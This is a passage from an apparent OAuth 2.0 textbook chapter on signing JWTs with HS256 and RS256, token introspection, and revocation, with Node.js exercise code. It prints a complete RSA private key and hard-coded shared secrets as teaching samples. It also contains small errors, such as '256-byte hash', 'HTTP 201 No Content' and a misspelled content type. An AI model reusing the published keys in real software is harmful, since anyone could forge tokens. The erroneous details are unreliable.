If all of those checks pass, we’ll hand the token’s parsed payload on to the rest of the 
application, which can make authorization decisions based on fields such as the sub-
ject, if it so chooses. This is analogous to loading the data stored by the authorization 
server in its database in the previous version of the application.

Remember, the payload of a JWT is a JSON object, which our protected resource 
can now access directly from the request object. From here it’s up to the other han-
dler functions to determine whether this particular token is good enough to serve 
the requests in question, as we did when the token was stored in the shared database. 
The attributes included in the token’s body in our example don’t say that much, but 
we could easily include information about the client, resource owner, scopes, or other 
information pertinent to the protected resource’s decision. 

We haven’t had to change our client code at all, even though the tokens that are 
being issued are different from what were being issued before. This is all thanks to the 
tokens being opaque to the client, which is a key simplifying factor in OAuth 2.0. In 
fact, the authorization server could have picked many different kinds of token formats 
without any change to the client software.

It’s good that we can now carry information in the token itself, but is that enough?

11.3	 Cryptographic protection of tokens: JSON Object Signing 
and Encryption (    JOSE)
At this point, we, the authors, feel that we need to confess that we have just made you, 
the reader, do a terribly insecure thing. You may have already picked up on this impor-
tant omission and are probably wondering whether we’re off our rockers. What did 
we leave out? Simply put, if the authorization server outputs a token that is not pro-
tected in any way, and the protected resource trusts what’s inside that token without 
any other checks, then it’s trivial for the client, which receives the token in plain 
text, to manipulate the content of the token before presenting it to the protected 
resource. A client could even make up its own token out of whole cloth without ever 
talking to the authorization server, and a naïve resource server would simply accept 
and process it.
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Since we almost certainly do not want that to happen, we should add some protec-
tion to this token. Thankfully for us, there’s a whole suite of specifications that tell us 
exactly how to do this: the JSON Object Signing and Encryption standards,5 or JOSE.6 
This suite provides signatures (JSON Web Signatures, or JWS), encryption (JSON Web 
Encryption, or JWE), and even key storage formats (JSON Web Keys, or JWK) using 
JSON as the base data model. The unsigned JWT that we built by hand in the last sec-
tion is merely a special case of an unsigned JWS object with a JSON-based payload. 
Although the details of JOSE could fill a book on its own, we’re going to look at two 
common cases: symmetric signing and validation using the HMAC signature scheme 
and asymmetric signing and validation using the RSA signature scheme. We’ll also be 
using JWK to store our public and private RSA keys.

To do the heavy cryptographic lifting, we’re going to be using a JOSE library called 
JSRSASign. This library provides basic signing and key management capabilities, but it 
doesn’t provide encryption. We’ll leave encrypted tokens as an exercise for the reader.

11.3.1	Symmetric signatures using HS256

For our next exercise, we’re going to sign our token using a shared secret at the autho-
rization server and then validate that token using the shared secret at the protected 
resource. This is a useful approach when the authorization server and protected 
resources are tied closely enough to have a long-term shared secret, similar to an API 
key, but do not have a direct connection to each other to validate each token directly. 

Open up ch-11-ex-2 and edit the authorizationServer.js and protected
Resource.js files for this exercise. First, we’re going to add a shared secret to our 
authorization server. Toward the top of the file, find the variable definition for shared-
TokenSecret and see that we’ve set it to a secret string. In a production environment, 
the secret is likely to be managed by some kind of credential management process, and 
its value isn’t likely to be this short or this easy to type, but we’ve simplified things for 
the exercises.

var sharedTokenSecret = 'shared OAuth token secret!';

Now we’ll use that secret to sign the token. Our code is set up like the last exercise, 
creating an unsigned token, so locate the token generation code to continue. We first 
need to change the header parameter to indicate that we’re using the HS256 signature 
method.

var header = { 'typ': 'JWT', 'alg': 'HS256'};

Our JOSE library requires us to do the JSON serialization (but not the Base64 URL 
encoding) before passing data into the signing function, but we’ve already got that set 

5 � JWS: RFC 7515 https://tools.ietf.org/html/rfc7515; 
JWE: RFC 7516 https://tools.ietf.org/html/rfc7516;  
JWK: RFC 7517 https://tools.ietf.org/html/rfc7517;  
JWA: RFC 7518 https://tools.ietf.org/html/rfc7518

6 � Intended to be pronounced like the Spanish given name José, or “ho-zay.” 
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up. This time, instead of concatenating the strings together with dots, we’re going to 
use our JOSE library to apply the HMAC signature algorithm, using our shared secret, 
to the token. Due to a quirk in our chosen JOSE library, we need to pass in the shared 
secret as a hex string; other libraries will have different requirements for getting the 
keys in the right format. The output of the library will be a string that we’ll use as the 
token value.

var access_token = jose.jws.JWS.sign(header.alg,

	 JSON.stringify(header),

	 JSON.stringify(payload),

	 new Buffer(sharedTokenSecret).toString('hex'));

The final JWT looks something like the following:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjkwMDEv 

Iiwic3ViIjoiOVhFMy1KSTM0LTAwMTMyQSIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6OTAwMi 

8iLCJpYXQiOjE0NjcyNTEwNzMsImV4cCI6MTQ2NzI1MTM3MywianRpIjoiaEZLUUpSNmUifQ.

WqRsY03pYwuJTx-9pDQXftkcj7YbRn95o-16NHrVugg

The header and payload remain the same Base64URL-encoded JSON strings, as before. 
The signature is placed after the final dot in the JWT format, as a Base64URL-encoded 
set of bytes, making the overall structure header.payload.signature for a signed 
JWT. When we split the sections on the dots, it’s a little easier to see the structure.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

.

eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjkwMDEvIiwic3ViIjoiOVhFMy1KSTM0LTAwMTMyQSIs 

ImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6OTAwMi8iLCJpYXQiOjE0NjcyNTEwNzMsImV4cCI6MT 

Q2NzI1MTM3MywianRpIjoiaEZLUUpSNmUifQ

.

WqRsY03pYwuJTx-9pDQXftkcj7YbRn95o-16NHrVugg

Now you can see that our unsigned JWT was a case of having an empty (missing) signa-
ture section. The rest of the server remains unchanged, as we’re still storing the token 
in the database. However, if we wanted to, we could remove the storage requirement 
on our authorization server entirely because the token is recognizable by the server 
from its signature.

Once again, our client is none the wiser that the token format has changed. How-
ever, we’re going to need to edit the protected resource so that it can check the token’s 
signature. To do this, open protectedResource.js and note the same random secret 
string at the top of the file. Once again, in a production environment, this is likely 
handled through a key management process and the secret isn’t likely to be this simple 
to type.

var sharedTokenSecret = 'shared OAuth token secret!';

First we need to parse the token, but that’s pretty much like last time.

var tokenParts = inToken.split('.');

var header = JSON.parse(base64url.decode(tokenParts[0]));

var payload = JSON.parse(base64url.decode(tokenParts[1]));
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Notice that we’ll be using the token header this time. Next, verify the signature based 
on our shared secret, and that will be our first check of the token’s contents. Remem-
ber, our library needs the secret to be converted to hex before it can validate things. 

if (jose.jws.JWS.verify(inToken, 
		  new Buffer(sharedTokenSecret).toString('hex'), 

		  [header.alg])) {

}

Take special note that we have passed in the token string exactly as it was handed to us 
on the wire. We didn’t use the decoded or parsed JSON objects, nor did we re-encode 
them on our own. Had we done any of that, it’s entirely possible (and completely legal) 
that the serialization of the JSON would have been slightly different, such as by adding 
or removing spaces and indentation or by re-ordering the members of a data object. 
As we discussed, the JOSE specifications effectively armor the token against transfor-
mation in transit specifically so that this validation step can be performed without any 
renormalization.

Only if the signature is valid do we parse the JWT and check its contents for consis-
tency. If all checks pass, we can hand it off to the application, as we did previously. Now 
the resource server will only accept tokens that have been signed by the secret that it 
shares with the authorization server. To test this, edit the secret in either the autho-
rization server’s or protected resource’s code so that they differ. The resource server 
should reject the resulting token.

11.3.2	Asymmetric signatures using RS256

In this section’s exercise, we’re once again going to sign the token with a secret key, 
as we did in the last section. However, this time, we’re going to use public key cryptog-
raphy to do it. With a shared secret, both systems need the same key either to create 
or to validate the signature. This effectively means that either the authorization server 
or the resource server could create the tokens in the last exercise, because they both 
had access to the keying material needed to do so. With public key cryptography, the 
authorization server has both a private key and a public key that it can use to generate 
tokens, whereas the protected resource needs to be able to access only the authoriza-
tion server’s public key to verify the token. Unlike with a shared secret, the protected 
resource has no way of generating its own valid tokens even though it can easily verify 
them. We’re going to be using the RS256 signature method from JOSE, which uses the 
RSA algorithm under the hood.

Open up ch-11-ex-3 and start with the authorizationServer.js file. First, we 
need to add a public and private key pair to our authorization server. Our key pair is a 
2048-bit RSA key, which is the minimum recommended size. We’re using keys stored 
in the JSON-based JWK format for this exercise, and they can be read natively by our 
library. To keep you from having to type in this convoluted set of characters exactly as 

All of the previous token 
validity checks go inside 
this if statement
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it’s written in the book, we’ve gone ahead and included it in the code for you, so go 
check it out. 

var rsaKey = {

  "alg": "RS256",

  "d": "ZXFizvaQ0RzWRbMExStaS_-yVnjtSQ9YslYQF1kkuIoTwFuiEQ2OywBfuyXhTvVQxIiJq 

PNnUyZR6kXAhyj__wS_Px1EH8zv7BHVt1N5TjJGlubt1dhAFCZQmgz0D-PfmATdf6KLL4HIijG 

rE8iYOPYIPF_FL8ddaxx5rsziRRnkRMX_fIHxuSQVCe401hSS3QBZOgwVdWEb1JuODT7KUk7xPp 

MTw5RYCeUoCYTRQ_KO8_NQMURi3GLvbgQGQgk7fmDcug3MwutmWbpe58GoSCkmExUS0U-KEkH

tFiC8L6fN2jXh1whPeRCa9eoIK8nsIY05gnLKxXTn5-aPQzSy6Q",

  "e": "AQAB",

  "n": "p8eP5gL1H_H9UNzCuQS-vNRVz3NWxZTHYk1tG9VpkfFjWNKG3MFTNZJ1l5g_COMm2_2i_

YhQNH8MJ_nQ4exKMXrWJB4tyVZohovUxfw-eLgu1XQ8oYcVYW8ym6Um-BkqwwWL6CXZ70X81

YyIMrnsGTyTV6M8gBPun8g2L8KbDbXR1lDfOOWiZ2ss1CRLrmNM-GRp3Gj-ECG7_3Nx9n_s5

to2ZtwJ1GS1maGjrSZ9GRAYLrHhndrL_8ie_9DS2T-ML7QNQtNkg2RvLv4f0dpjRYI23djxV

tAylYK4oiT_uEMgSkc4dxwKwGuBxSO0g9JOobgfy0--FUHHYtRi0dOFZw",

  "kty": "RSA",

  "kid": "authserver"

};

This key pair was randomly generated, and in a production environment you’ll want to 
have a unique key for each service. As an added exercise, generate your own JWK using 
a JOSE library and replace the one in the code here.

Next we need to sign the token using our private key. The process is similar to how 
we handled the shared secret, and we’ll be working in the token generation func-
tion again. First we need to indicate that our token is signed with the RS256 algo-
rithm. We’re also going to indicate that we’re using the key with the key ID (kid) of 
authserver from our authorization server. The authorization server may have only 
one key right now, but if you were to add other keys to this set, you’d want the resource 
server to be able to know which one you used.

var header = { 'typ': 'JWT', 'alg': rsaKey.alg, 'kid': rsaKey.kid };

Next, we need to convert our JWK-formatted key pair into a form that our library can 
use for cryptographic operations. Thankfully, our library gives us a simple utility for 
doing that.7 We can then use this key to sign the token.

var privateKey = jose.KEYUTIL.getKey(rsaKey);

Then we’ll create our access token string much like we did before, except this time we 
use our private key and the RS256 asymmetric signing algorithm.

var access_token = jose.jws.JWS.sign(header.alg,

	 JSON.stringify(header),

	 JSON.stringify(payload),

	 privateKey);

7 � Other libraries and other platforms may need to have key objects created from the different parts 
of the JWK.
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The result is the token similar to the previous one, but it’s now been signed 
asymmetrically.

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImF1dGhzZXJ2ZXIifQ.eyJpc3MiOiJodH 

RwOi8vbG9jYWxob3N0OjkwMDEvIiwic3ViIjoiOVhFMy1KSTM0LTAwMTMyQSIsImF1ZCI6Imh 

0dHA6Ly9sb2NhbGhvc3Q6OTAwMi8iLCJpYXQiOjE0NjcyNTE5NjksImV4cCI6MTQ2NzI1MjI2 

OSwianRpIjoidURYMWNwVnYifQ.nK-tYidfd6IHW8iwJ1ZHcPPnbDdbjnveunKrpOihEb0JD5w

fjXoYjpToXKfaSFPdpgbhy4ocnRAfKfX6tQfJuFQpZpKmtFG8OVtWpiOYlH4Ecoh3soSkaQyIy

4L6p8o3gmgl9iyjLQj4B7Anfe6rwQlIQi79WTQwE9bd3tgqic5cPBFtPLqRJQluvjZerkSdUo 

7Kt8XdyGyfTAiyrsWoD1H0WGJm6IodTmSUOH7L08k-mGhUHmSkOgwGddrxLwLcMWWQ6ohmXa 

Vv_Vf-9yTC2STHOKuuUm2w_cRE1sF7JryiO7aFRa8JGEoUff2moaEuLG88weOT_S2EQBhYB 

0vQ8A

The header and payload are still Base64URL-encoded JSON, and the signature is a 
Base64URL-encoded array of bytes. The signature is much longer now as a result of 
using the RSA algorithm.

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImF1dGhzZXJ2ZXIifQ

.

eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjkwMDEvIiwic3ViIjoiOVhFMy1KSTM0L 

TAwMTMyQSIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6OTAwMi8iLCJpYXQiOjE0 

NjcyNTE5NjksImV4cCI6MTQ2NzI1MjI2OSwianRpIjoidURYMWNwVnYifQ

.

nK-tYidfd6IHW8iwJ1ZHcPPnbDdbjnveunKrpOihEb0JD5wfjXoYjpToXKfaSFPdpgbhy4ocnRAfK
fX6tQfJuFQpZpKmtFG8OVtWpiOYlH4Ecoh3soSkaQyIy4L6p8o3gmgl9iyjLQj4B7Anfe6rwQlI 
Qi79WTQwE9bd3tgqic5cPBFtPLqRJQluvjZerkSdUo7Kt8XdyGyfTAiyrsWoD1H0WGJm6IodTmS 
UOH7L08k-mGhUHmSkOgwGddrxLwLcMWWQ6ohmXaVv_Vf-9yTC2STHOKuuUm2w_cRE1sF7JryiO7 
aFRa8JGEoUff2moaEuLG88weOT_S2EQBhYB0vQ8A

The client once again remains unchanged, but we do have to tell the protected resource 
how to validate the signature of this new JWT. Open up protectedResource.js so 
that we can tell it the server’s public key. Once again, instead of making you painstak-
ingly transcribe the key information, we’ve gone ahead and included it in the file 
for you. 

var rsaKey = {

  "alg": "RS256",

  "e": "AQAB",

  "n": "p8eP5gL1H_H9UNzCuQS-vNRVz3NWxZTHYk1tG9VpkfFjWNKG3MFTNZJ1l5g_COMm2_2i_

YhQNH8MJ_nQ4exKMXrWJB4tyVZohovUxfw-eLgu1XQ8oYcVYW8ym6Um-BkqwwWL6CXZ70X81

YyIMrnsGTyTV6M8gBPun8g2L8KbDbXR1lDfOOWiZ2ss1CRLrmNM-GRp3Gj-ECG7_3Nx9n_s5

to2ZtwJ1GS1maGjrSZ9GRAYLrHhndrL_8ie_9DS2T-ML7QNQtNkg2RvLv4f0dpjRYI23djxV

tAylYK4oiT_uEMgSkc4dxwKwGuBxSO0g9JOobgfy0--FUHHYtRi0dOFZw",

  "kty": "RSA",

  "kid": "authserver"

};

This data is from the same key pair as the one in the authorization server, but it doesn’t 
contain the private key information (represented by the d element in an RSA key). 
The effect is that the protected resource can only verify incoming signed JWTs, but it 
cannot create them.
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Do I have to copy my keys all over the place?

You might think it’s onerous to copy signing and verification keys between pieces of 
software like this, and you’d be right. If the authorization server ever decides to update 
its keys, all copies of the corresponding public key need to be updated in all protected 
resources downstream. For a large OAuth ecosystem, that can be problematic. 

One common approach, used by the OpenID Connect protocol that we’ll cover in 
chapter 13, is to have the authorization server publish its public key at a known URL. 
This will generally take the form of a JWK Set, which can contain multiple keys and 
looks something like this.

{

  "keys": [

    {

      "alg": "RS256",

      "e": "AQAB",

     "n": "p8eP5gL1H_H9UNzCuQS-vNRVz3NWxZTHYk1tG9VpkfFjWNKG3MFTNZJ1l5g_

COMm2_2i_YhQNH8MJ_nQ4exKMXrWJB4tyVZohovUxfw-eLgu1XQ8oYcVYW8ym6Um-Bkqww

WL6CXZ70X81YyIMrnsGTyTV6M8gBPun8g2L8KbDbXR1lDfOOWiZ2ss1CRLrmNM-GRp3Gj-

ECG7_3Nx9n_s5to2ZtwJ1GS1maGjrSZ9GRAYLrHhndrL_8ie_9DS2T-ML7QNQtNkg2RvLv4f

0dpjRYI23djxVtAylYK4oiT_uEMgSkc4dxwKwGuBxSO0g9JOobgfy0--FUHHYtRi0dOFZw",

      "kty": "RSA",

      "kid": "authserver"

    }

  ]

}

The protected resources can then fetch and cache this key as needed. This approach 
allows the authorization server to rotate its keys whenever it sees fit, or add new 
keys over time, and the changes will automatically propagate throughout the network. 

For an added exercise, modify the server to publish its public key as a JWK set, and mod-
ify the protected resource to fetch this key over the network as needed. Be very careful 
that the authorization server publishes only its public key and not the private key as well!

Now we’ll use our library to validate the signatures of incoming tokens based on the 
server’s public key. Load up the public key into an object that our library can use, and 
then use that key to validate the token’s signature.

var publicKey = jose.KEYUTIL.getKey(rsaKey);

if (jose.jws.JWS.verify(inToken,

		  publicKey, 

		  [header.alg])) {

}

We’ll still need to perform all the same checks against the token that we performed 
when we had an unsigned token. The payload object is once again handed off to 

All of the previous token 
validity checks go inside 
this if statement
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the rest of the application to allow it to decide whether the presented token is suf-
ficient for the given request. Now that this has been set up, the authorization server 
can choose to include additional information for the protected resource’s consump-
tion, such as scopes or client identifiers. For an additional exercise, add some of this 
information in using your own JWT claims and have the protected resource reach to 
their values.

11.3.3	Other token protection options

The methods that we’ve gone over in these exercises aren’t the only JOSE-based 
means of protecting a token’s contents. For instance, we used the HS256 symmetric 
signature method previously, which provides a 256-byte hash of the token’s contents. 
JOSE also defines HS384 and HS512, both of which use larger hashes to provide 
increased security at the cost of larger token signatures. Similarly, we used the RS256 
asymmetric signature method, which provides a 256-byte hash of the RSA signature 
output. JOSE also defines the RS384 and RS512 methods, with the same kinds of 
trade-offs as their symmetric counterparts. JOSE also defines the PS256, PS384, 
and PS512 signature methods, all based on a different RSA signature and hashing 
mechanism. 

JOSE also provides elliptical curve support, with the core standard referencing 
three curves and associated hashes in ES256, ES384, and ES512. Elliptical curve cryp-
tography has several benefits over RSA cryptography, including smaller signature sizes 
and lower processing requirements for validation, but support for the underlying cryp-
tographic functions isn’t nearly as widespread as RSA at the time of this writing. On 
top of this, JOSE’s list of algorithms is extensible by new specifications, allowing new 
algorithms to be defined as they’re invented and needed.

Sometimes signatures aren’t enough, though. With a token that’s only signed, 
the client could potentially peek at the token itself and find out things that it might 
not be privileged to know, such as a user identifier in the sub field. The good 
news is that in addition to signatures, JOSE provides an encryption mechanism 
called JWE with several different options and algorithms. Instead of a three-part 
structure, a JWT encrypted with JWE is a five-part structure. Each portion still uses 
Base64 URL encoding, and the payload is now an encrypted object that can’t be 
read without access to the appropriate key. Covering the JWE process is a bit much 
for this chapter, but for an advanced exercise try adding JWE to the tokens. First, 
give the resource server a key pair and give the authorization server access to the 
public key portion of this key pair. Then use the public key to encrypt the contents 
of the token using JWE. Finally, have the resource server decrypt the contents of 
the token using its own private key and pass the payload of the token along to the 
application.
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Let’s get COSE8

An emerging standard called CBOR Object Signing and Encryption (COSE) pro-
vides much of the same functionality of JOSE but based on the Concise Binary 
Object Representation (CBOR) data serialization. As its name suggests, CBOR is 
a non-human-readable binary format that’s designed for environments in which 
space is at a premium. Its underlying data model is based on JSON, and any-
thing represented in JSON can easily be translated into CBOR. The COSE speci-
fication is attempting to do for CBOR what JOSE did for JSON before it, which 
means that it will likely become a viable option for compact JWT-like tokens in 
the near future.

11.4	 Looking up a token’s information online: token introspection
Packing the information about the token into the token itself does have its drawbacks. 
The tokens themselves can grow to be quite large as they incorporate all the required 
claims and cryptographic structures required to protect those claims. Furthermore, if 
the protected resource is relying solely on information carried in the token itself, it 
becomes prohibitively difficult to revoke active tokens once they’ve been created and 
sent into the wild. 

11.4.1	The introspection protocol

The OAuth Token Introspection protocol9 defines a mechanism for a protected 
resource to actively query an authorization server about the state of the token. Since 
the authorization server minted the token, it’s in the perfect position to know the sur-
rounding details of the authorization delegation that the token represents.

The protocol is a simple augmentation of OAuth. The authorization server issues 
the token to the client, the client presents the token to the protected resource, and 
the protected resource introspects the token at the authorization server (figure 11.2).

The introspection request is a form-encoded HTTP request to the authorization 
server’s introspection endpoint, which allows the protected resource to ask, “Someone 
gave me this token; what is it good for?” of the authorization server. The protected 
resource authenticates itself during this request so that the authorization server can 
tell who is asking the question and potentially give a different response depending 
on who’s asking. The introspection specification doesn’t dictate how the protected 
resource needs to authenticate itself, only that it does so. In our example, the pro-
tected resource authenticates using an ID and secret over HTTP Basic, much in the 
same way that an OAuth client would authenticate itself to the token endpoint. This 
could also be accomplished using a separate access token, which is how the UMA pro-
tocol discussed in chapter 14 does it.

8 � Pronounced “cozy”, as in “a cozy couch.” 
9 � RFC 7662 https://tools.ietf.org/html/rfc7662
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POST /introspect HTTP/1.1

Host: localhost:9001

Accept: application/json

Content-type: application/x-www-form-encoded

Authorization: Basic 

cHJvdGVjdGVkLXJlc291cmNlLTE6cHJvdGVjdGVkLXJlc291cmNlLXNlY3JldC0x

token=987tghjkiu6trfghjuytrghj

The introspection response is a JSON document that describes the token. Its contents 
are similar to the payload of a JWT, and any valid JWT claim can be used as part of the 
response.

HTTP 200 OK

Content-type: application/json

{ 

  "active": true,

  "scope": "foo bar baz",

  "client_id": "oauth-client-1",

  "username": "alice",

  "iss": "http://localhost:9001/",

  "sub": "alice",

  "aud": "http://localhost:/9002/",

  "iat": 1440538696,

  "exp": 1440538996,

}

Resource
Owner

Authorization 
Server

Protected
Resource

Client

How do we let these two
components talk? 

Figure 11.2  Connecting the protected resource to the authorization server
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The introspection specification also defines several claims in addition to those defined 
by JWT, the most important of which is the active claim. This claim tells the protected 
resource whether the current token is active at the authorization server, and it’s the 
only claim required to be returned. Because there are many different kinds of OAuth 
token deployments, there is no single definition of what an active token is. In general, 
though, this means that the token was issued by this authorization server, it hasn’t 
expired yet, it hasn’t been revoked, and the requesting protected resource is allowed 
to fetch information about it. Interestingly, this piece of information is something that 
can’t be included in the token itself, since no token would ever claim to be non-active. 

The introspection response may also include the scope of the token, represented as 
a space-separated list of scope strings as in the original OAuth request. As we’ve seen 
in chapter 4, the scope of a token allows a protected resource to determine the rights 
delegated to the client by the resource owner in a more fine-grained manner. Finally, 
information about the client and user can also be included. All of this together can 
give the protected resource a rich set of data from which to make the final authoriza-
tion decision.

The use of token introspection incurs the overhead of increased network traffic 
on the OAuth systems. To combat this, the protected resource is allowed to cache the 
results of the introspection call for a given token. It’s recommended that the cache be 
short lived relative to the expected lifetime of the token in order to limit the chance of 
a token being revoked while the cache is in effect.

11.4.2	Building the introspection endpoint

Now we’re going to build introspection support into our applications. Open up  
ch-11-ex-4 and start with the authorizationServer.js where we’re going to 
build the introspection endpoint. First, we’ll add some credentials for our protected 
resource that will allow it to authenticate to our introspection endpoint.

var protectedResources = [

	 {

		  "resource_id": "protected-resource-1",

		  "resource_secret": "protected-resource-secret-1"

	 }

];

We’re deliberately modeling this off client authentication, which is one of the default 
options given by the introspection specification for protected resource authentication. 
We’ve included a getProtectedResource function to mirror the getClient function 
we created in chapter 5.

var getProtectedResource = function(resourceId) {

	 return __.find(protectedResources, function(protectedResource) { return 

protectedResource.resource_id == resourceId; });

};

We’re going to host our introspection endpoint at /introspect on our authorization 
server, and it’s going to listen for POST requests.
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app.post('/introspect', function(req, res) {

	

});

Our protected resource is going to authenticate using HTTP Basic authentication and 
a shared secret, so we’ll look for that in the Authorization header as we do for client 
credentials at the token endpoint.

var auth = req.headers['authorization'];

var resourceCredentials = decodeClientCredentials(auth);

var resourceId = resourceCredentials.id;

var resourceSecret = resourceCredentials.secret;

Once we have the presented credentials, look up the resource using our helper func-
tion and figure out whether or not the secret matches.

var resource = getProtectedResource(resourceId);

if (!resource) {

	 res.status(401).end();

	 return;

}

	

if (resource.resource_secret != resourceSecret) {

	 res.status(401).end();

	 return;

}

Now we have to look up the token in our database. If we find the token, we’re going to 
add all the information that we have about the token to our response and send it back 
as a JSON object. If we don’t find the token, we send back only a notification that the 
token was not active. 

var inToken = req.body.token;

nosql.one(function(token) {

	 if (token.access_token == inToken) {

		  return token;	

	 }

}, function(err, token) {

	 if (token) {

			 

		  var introspectionResponse = {

			   active: true,

			   iss: 'http://localhost:9001/',

			   aud: 'http://localhost:9002/',

			   sub: token.user ? token.user.sub : undefined,

			   username: token.user ? token.user.preferred_username : undefined,

			   scope: token.scope ? token.scope.join(' ') : undefined,

			   client_id: token.client_id

		  };

					   

		  res.status(200).json(introspectionResponse);

		  return;

	 } else {

		  var introspectionResponse = {

			   active: false
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		  };

		  res.status(200).json(introspectionResponse);

		  return;

	 }

});

For security reasons, it’s important that we don’t tell the protected resource exactly 
why the token wasn’t active—whether it expired, was revoked, or was never issued in 
the first place—but instead say that it wasn’t any good. Otherwise, a compromised pro-
tected resource could be used by an attacker to fish about at the authorization server 
for information about tokens. For legitimate transactions, it ultimately doesn’t matter 
why the token isn’t good, only that it’s not. 

Bringing it all together, our introspection endpoint looks like listing 11 in appendix 
B. The introspection endpoint is supposed to look up refresh tokens as well, but we’re 
leaving that additional functionality as an exercise to the reader.

11.4.3	 Introspecting a token

Now that we have an introspection endpoint to call, we need to set up our protected 
resource to call it. We’re going to continue in the same exercise from the last section, 
ch-11-ex-4, but now open up protectedResource.js and edit it. Start off by giving 
the protected resource its ID and secret, as we did with our client in chapter 5. 

var protectedResource = {

	 "resource_id": "protected-resource-1",

	 "resource_secret": "protected-resource-secret-1"

};

Next, inside the getAccessToken function, we’re going to call the introspection end-
point. This is a simple HTTP POST with the previous ID and secret sent as HTTP 
Basic parameters and the token value that was received from the client sent as a form 
parameter.

var form_data = qs.stringify({

	 token: inToken

});

var headers = {

	 'Content-Type': 'application/x-www-form-urlencoded',

'Authorization': 'Basic ' + encodeClientCredentials(protectedResource 

.resource_id, protectedResource.resource_secret)

};

var tokRes = request('POST', authServer.introspectionEndpoint, {	

	 body: form_data,

	 headers: headers

});

Finally, take the response from the introspection endpoint and parse it as a JSON 
object. If the active claim comes back as true, then pass the result of the introspection 
call in to the rest of the application for further processing.
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if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) {

	 var body = JSON.parse(tokRes.getBody());

	

	 console.log('Got introspection response', body);

	 var active = body.active;

	 if (active) {

		  req.access_token = body;

	 }

}

From here, the protected resource serving functions will decide whether the token is 
sufficient or appropriate for the request at hand.

11.4.4	Combining introspection and JWT

In this chapter, we’ve presented structured tokens (specifically JWT) and token intro-
spection as two alternative ways to carry information between the authorization server 
and the protected resource. It might seem as though you need to pick either one 
method or the other, but in truth, they can be used together to great effect.

The JWT can be used to carry core information, for example, the expiration, unique 
identifier, and issuer. These pieces of information are going to be needed by every pro-
tected resource to provide a first-order check of whether the token is trusted. From 
there, the protected resource can perform token introspection to determine more 
detailed (and potentially sensitive) information about the token, such as the user who 
authorized it, the client it was issued to, and the scopes it was issued with. 

This approach is particularly useful in cases in which a protected resource is set up 
to accept access tokens from a variety of authorization servers. The protected resource 
can parse the JWT to find out which authorizations server issued the token and then 
introspect the token at the correct authorization server to find out more.

The state of the token

For a client, it doesn’t matter if its token was revoked by another party, since OAuth 
clients always need to be ready to go get a new token. The OAuth protocol doesn’t 
differentiate error responses based on whether the token was revoked, expired, or 
otherwise invalid, because the client’s response is always the same.

However, as a protected resource, it’s definitely important to know whether a token 
was revoked or not, because accepting a revoked token would be a huge security 
hole. Huge security holes are generally considered bad things to have. If the pro-
tected resource uses a local database lookup or a live query such as introspection, it 
can find out easily and quickly that a token was revoked. But what if it’s using a JWT?

Since a JWT is ostensibly self-contained, it’s considered stateless. There’s no way to 
indicate to a protected resource that it has been revoked without resorting to exter-
nal signals. The same problem occurs in a certificate-based public key infrastructure 
(PKI), in which a certificate is valid if all of the signatures match. The revocation prob-
lem was addressed here using certificate revocation lists and the online certificate 
status protocol (OCSP), equivalent to token introspection in the OAuth world. 
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11.5	 Managing the token lifecycle with token revocation
OAuth tokens usually follow a predictable lifecycle. They’re created by the authoriza-
tion server, used by the client, and validated by the protected resource. They might 
expire on their own or be revoked by the resource owner (or an administrator) at the 
authorization server. OAuth’s core specifications provide mechanisms for getting and 
using tokens in a variety of ways, as we’ve seen. A refresh token even allows a client to 
request a new access token to replace an invalidated one. In sections 11.2 and 11.3, 
we’ve seen how JWT and token introspection can be used to help a protected resource 
validate a token. Sometimes, though, the client knows that it will no longer need a 
token. Does it need to wait for the token to expire, or for someone else to revoke it?

So far, we haven’t seen any mechanism that would let the client tell the authorization 
server to revoke otherwise valid tokens, but this is where the OAuth Token Revocation 
specification10 comes in. This specification allows clients to be proactive in managing 
token lifecycles in response to triggering events on the client side. For instance, the 
client may be a native application being uninstalled from the user’s device, or it may 
provide a user interface that allows the user to deprovision the client. Perhaps, even, 
the client software has detected suspicious behavior and wants to limit the damage to 
the protected resources it has been authorized for. Whatever the triggering event, the 
token revocation specification lets the client signal the authorization server that the 
tokens it has issued should no longer be used.

11.5.1	The token revocation protocol

OAuth token revocation is a simple protocol that allows a client to say, succinctly, “I 
have this token and I want you to get rid of it” to an authorization server. Much like 
token introspection that we covered in section 11.4, the client makes an authenticated 
HTTP POST request to a special endpoint, the revocation endpoint, with the token to 
be revoked as a form-encoded parameter in the request body. 

POST /revoke HTTP/1.1

Host: localhost:9001

Accept: application/json

Content-type: application/x-www-form-encoded

Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXNlY3JldC0x

token=987tghjkiu6trfghjuytrghj

The client authenticates as it would with a request to the token endpoint, using the 
same credentials. The authorization server looks up the token value. If it can find it, it 
deletes it from whatever data store it’s using to keep tokens and responds to the client 
that everything went OK. 

HTTP 201 No Content

Really, that’s it. The client discards its own copy of the token and goes on its way.

10 � RFC 7009 https://tools.ietf.org/html/rfc7009
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If the authorization server can’t find the token, or the client presenting the token 
isn’t allowed to revoke that token, the authorization server responds that everything 
went OK. Why don’t we return an error in these cases? If we did, we’d be inadvertently 
giving clients information about tokens other than their own. For instance, let’s say 
that we returned an HTTP 403 Forbidden to a client that was trying to revoke a token 
from another client. In this case, we probably don’t want to revoke that token, since 
that would open up a denial of service attack against other clients.11 However, we also 
don’t want to tell the client that the token that it has acquired, through whatever 
means, is valid and could be used elsewhere. To prevent that information from leak-
ing, we pretend that we’ve revoked the token every time. To a well-behaving client, this 
makes no difference in function, and to a malicious client we haven’t disclosed any-
thing that we don’t intend to. We do, of course, still respond appropriately for errors 
in client authentication, just as we would from the token endpoint. 

11.5.2	 Implementing the revocation endpoint

We’ll now be adding revocation support to our authorization server. Open up ch-
11-ex-5 and edit the authorizationServer.js file. We’re going to set up our revo-
cation endpoint on /revoke on our authorization server, listening to HTTP POST 
messages. We’re going to be importing the client authentication code directly from 
our token endpoint as well.

